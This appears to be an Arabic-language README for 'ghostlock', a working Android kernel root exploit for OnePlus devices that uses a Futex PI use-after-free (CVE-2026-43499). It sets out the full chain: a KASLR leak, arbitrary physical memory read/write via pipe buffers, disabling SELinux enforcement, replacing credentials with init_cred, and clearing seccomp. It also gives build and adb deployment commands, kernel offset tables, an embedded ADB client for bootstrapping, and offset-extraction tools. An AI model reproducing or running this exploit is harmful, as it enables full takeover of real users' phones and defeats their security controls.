Futex PI UAF (CVE-2026-43499)
  ├─ تزوير كائن rt_mutex_waiter
  ├─ التحكم في مكدس النواة عبر تخطيط fd_set الخاص بـ pselect/select
  ├─ تشغيل عملية PI الخاصة بـ rt_mutex لكتابة عشوائية
  ├─ الكتابة 1: selinux_state.enforcing = 0
  └─ الكتابة 2: cred → init_cred (uid=0، صلاحيات كاملة)

# الافتراضي (API 35)
make

# تحديد مستوى API
make API=34

# تحديد مسار NDK
NDK=/path/to/android-ndk make

# 1. تمكين وضع ADB TCP
adb tcpip 5555

# 2. دفع مفتاح ADB (مطلوب لوضع التمهيد)
adb push ~/.android/adbkey /data/local/tmp/a/adbkey

# 3. دفع ملف الاستغلال
adb push ghostlock /data/local/tmp/a/e
adb shell chmod 755 /data/local/tmp/a/e

/data/local/tmp/a/e

/data/local/tmp/a/e --bootstrap

/data/local/tmp/a/e --write1

static const struct kernel_offsets known_offsets[] = {
  OFFSETS_ENTRY("6.12.38-android16-5-...-ab14275539-4k", ...),
  OFFSETS_ENTRY("6.12.38-android16-5-...-ab14552068-4k", ...),
  OFFSETS_ENTRY("6.12.23-android16-5-...-ab14541642-4k", ...),
  { .uname_r = NULL }  /* حارس */
};

قراءة /proc/sys/kernel/random/boot_id
  └─ UUID يحتوي على عنوان nfulnl_logger
      └─ انزلاق KASLR = العنوان المسرب - إزاحة الصورة
          └─ kaslr_base

1. تحديد موقع مخزن pipe في physmap
2. تزوير جدول عمليات pipe_buffer مشيرًا إلى pipe_buf_ops معروف
3. اختطاف pipe_buffer.page للوصول إلى العنوان الفعلي المستهدف
4. قراءة/كتابة فيزيائية عشوائية عبر عمليات pipe العادية

الهدف: selinux_state.enforcing (إزاحة 0x00)
الطريقة: كتابة PI عبر العقدة الفرعية → تزوير __rb_parent_color
        مشيرًا إلى selinux_enforcing - 8
        إعادة توازن شجرة rb يكتب 0x00

الهدف: مؤشر cred للعملية الفرعية
الطريقة: 1. fork طفل → perf_find_task() لتحديد موقع task_struct
        2. حساب إزاحة حقل cred
        3. كتابة PI عبر العقدة الفرعية → cred = init_cred (uid=0، صلاحيات كاملة)
        4. مسح seccomp (TIF_SECCOMP + بنية seccomp مصفرة)

1. اتصال TCP بـ 127.0.0.1:5555
2. A_CNXN → طلب اتصال
3. A_AUTH → تحدي رمز RSA
4. dlopen("libcrypto.so") → PEM_read_bio_RSAPrivateKey → RSA_sign
5. A_AUTH (AUTH_SIGNATURE) → استجابة موقعة
6. A_CNXN → إنشاء الاتصال
7. A_OPEN "shell:/data/local/tmp/a/e" → استغلال كامل

ghostlock-oneplus/
├── Makefile                        # تكوين البناء (NDK cross-compile)
├── README.md                       # التوثيق
├── src/
│   ├── core/                       # كود الاستغلال الأساسي
│   │   ├── main.c                  # نقطة الدخول: كتابة مرحلتين + شل الجذر
│   │   ├── fops.c                  # وضع FOPS/CFI: مسار pselect، كتابة PI، تسريب KASLR
│   │   ├── util.c                  # الأدوات: رش الكومة، KASLR، بدائيات R/W للنواة
│   │   ├── slide.c                 # وضع SLIDE: تسريب boot_id KASLR + مسار pselect
│   │   ├── pipe.c                  # قراءة/كتابة الذاكرة الفعلية لمخزن pipe (physrw)
│   │   ├── root.c                  # استبدال cred، مسح seccomp، إدارة الطفل الجذر
│   │   ├── miniadb.c              # عميل ADB مدمج (TCP + مصادقة RSA)
│   │   ├── common.h               # وحدات ماكرو عالمية، بنى، تصريحات، ثوابت
│   │   ├── target.h               # تخطيط الذاكرة المستهدف / إزاحات البنى / معاملات KASLR
│   │   ├── offset.h               # جسر تكوين الهدف في وقت الترجمة (#include TARGET_CONFIG_H)
│   │   └── kernelsnitch/          # KernelSnitch — تسريب عنوان mm_struct
│   │       ├── kernelsnitch.h     # الخوارزمية الأساسية: تصادم تجزئة futex + القوة الغاشمة
│   │       ├── futex_hash.h       # دالة تجزئة futex
│   │       ├── timeutils.h        # قياس الطابع الزمني لوحدة المعالجة المركزية (RDTSC)
│   │       └── utils.h            # وحدات ماكرو مساعدة (pr_info / SYSCHK / ASSERT إلخ.)
│   └── devices/                   # جداول إزاحات الأجهزة
│       ├── offsets.h              # تجميع جميع إزاحات الأجهزة (جدول بحث + حارس)
│       ├── ace6t/offsets.h        # إزاحات OnePlus Ace 6T (نسختا نواة)
│       └── op15/offsets.h         # إزاحات OnePlus 15 (نسخة نواة واحدة)
└── tools/                         # سلسلة أدوات استخراج الإزاحات
    ├── extract_target.py          # استخراج إزاحات الرموز العامة من kallsyms (28 عنصرًا)
    └── extract_btf.py             # استخراج إزاحات حقول بنى BTF (57 عنصرًا)

# 1. استخراج النواة من boot.img
python -c "import struct; d=open('boot.img','rb').read(); \
           open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"

# 2. الحصول على kallsyms (الجذر: adb shell su -c 'cat /proc/kallsyms' > kallsyms.txt)
#    أو من vmlinux: nm vmlinux > kallsyms.txt

# 3. استخراج إزاحات الرموز العامة
python tools/extract_target.py     # 28 إزاحة، تحقق تلقائي

# 4. استخراج إزاحات حقول البنى
python tools/extract_btf.py kernel  # 57 إزاحة، تحقق تلقائي